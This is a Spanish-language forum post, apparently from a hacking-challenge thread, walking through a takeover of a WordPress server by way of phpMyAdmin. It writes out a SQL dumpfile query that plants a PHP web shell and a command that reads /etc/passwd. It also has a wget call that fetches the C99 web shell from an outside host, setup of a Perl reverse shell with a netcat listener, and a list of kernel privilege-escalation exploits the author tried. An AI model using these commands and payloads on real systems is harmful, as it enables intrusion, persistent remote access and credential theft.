Bueno, he intentado unos cuantos 'exploits' para escalar privilegios pero nada xD
Así que voy a poner como conseguir un reverse shell para los que estan perdidos...
Tenemos acceso a phpmyadmin y tenemos todos los privilegios. Podemos usar dumpfile para crear archivos y nuestro amable administrador, nos ha dado permisos de escritura en la carpeta uploads de wordpress.
Nos vamos phpmyadmin, y ejecutamos una query (pestaña SQL) simple.
SELECT '<?php echo "<pre>",system($_GET["q"]),"</pre>"; die(); ?>' INTO dumpfile '/var/www/wp-content/uploads/dshell.php'
Esto creara un archivo en /uploads (dshell.php) con una shell básica que permite ejecutar comandos del sistema directamente. Ahora podemos navegar hasta ese archivo y probar..
http://host.net/wp-content/uploads/dshell.php?q=cat /etc/passwd
Si todo ha ido bien, nos muestra el contenido de /etc/passwd.
Bien, ya tenemos una shell básica pero los permisos son de
mysql en vez de
www-data. Ademas, nuestra shell es bastante primitiva, cosa que no nos interesa.
Por eso, podríamos descargar la C99. Podríamos usar wget...
http://host.net/wp-content/uploads/dshell.php?q=wget -O dshell2.php 'http://www.c99txt.net/s/c99.txt'
Esto descargara un c99.txt del c99txt.net y lo guardara como dshell2.php.. pero ademas, puesto que lo ejecutamos desde PHP, su dueño sera
www-data.
Si abrimos dshell2.php se nos abrira una bonita C99. Desde aquí vamos a proceder a descargar una shell inversa. Primero tenemos que descargar la propia shell. Una bastante comun es
http://pentestmonkey.net/tools/web-shells/perl-reverse-shell La descargamos, descomprimimos el .pl y lo vamos a editar. Tenemos que cambiar
my $ip = '127.0.0.1';
my $port = 1234;
Por nuestros datos, es decir $ip por nuestra IP y $port por el puerto donde queremos que se conecte. Una vez editada, copiamos el contenido, nos vamos a la c99 y abajo en
:: Make File ::, añadimos (a lo que ya hay),
reverse.pl quedando así:
/var/www/wp-content/uploads/reverse.pl
Le damos al boton
Create, en el textbox que aparecerá, pegamos la shell y le damos al boton
Save.
Ahora, abajo en
:: Command execute :: a la izquierda en la casilla ponemos
chmod 777 reverse.pl, esto le dara permisos globales de ejecucion/escritura/lectura a la shell.
En nuestro sistema, tenemos que hacer que netcat escuche. Si no lo tienen instalado, busquen en google como instalarlo.
nc -l -v -n -p 1337
El
-p 1337 es el puerto donde va a escuchar netcat por la shell. Lo ejecutamos en nuestra maquina, nos vamos a la C99 y en la casilla de comandos ejecutamos
perl reverse.pl
Si todo sale bien nos devolverá algo así..
Content-Length: 0
Connection: close
Content-Type: text/html
Content-Length: 45
Connection: close
Content-Type: text/html
Sent reverse shell to NuestraIP:ElPuerto<p>
Y si miramos a la terminal.. veremos
Aquí pueden meter cualquier comando que soporte el server.. el caso es que tengan permisos xD
Por otra parte, voy a listar los exploits que he probado/intentado..
half-nelson.c -
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848Es fácil de encontrar en google... el problema es que aunque compile bien, falla cuando se ejecuta en el server..
Me tira
[-] symbol table not available, aborting!jessica_biel_naked_in_my_bed.c -
http://downloads.securityfocus.com/vulnerabilities/exploits/27704.cNo me llega a compilar :/
27704.c:30:22: fatal error: asm/page.h: No such file or directory
14601.c -
http://1337day.com/exploit/14601Compila y ejecuta.. pero ahí se queda :/
--all-symbols < in.map > out.S = in.map no existe ·_·
59846.c -
http://downloads.securityfocus.com/vulnerabilities/exploits/59846.cNo consigo compilar :/ No vi que usaba gcc 4.6 xD
gcc-4.6 -O2 59846.c && ./bb.out
Pero a la hora de ejecutar...
bb.out: 59846.c:51: sheep: Assertion `!close(fd)' failed.59846-1.c -
http://downloads.securityfocus.com/vulnerabilities/exploits/59846-1.cTampoco :/
59846-2.c -
http://downloads.securityfocus.com/vulnerabilities/exploits/59846-2.cCompila pero... es para Ubuntu 12.04... y a la hora de ejecutar
/usr/sbin/apache: 4: ./testaa: Permission denied | www-data/www-data -r----x--tSe vuelve tonto..
Saludos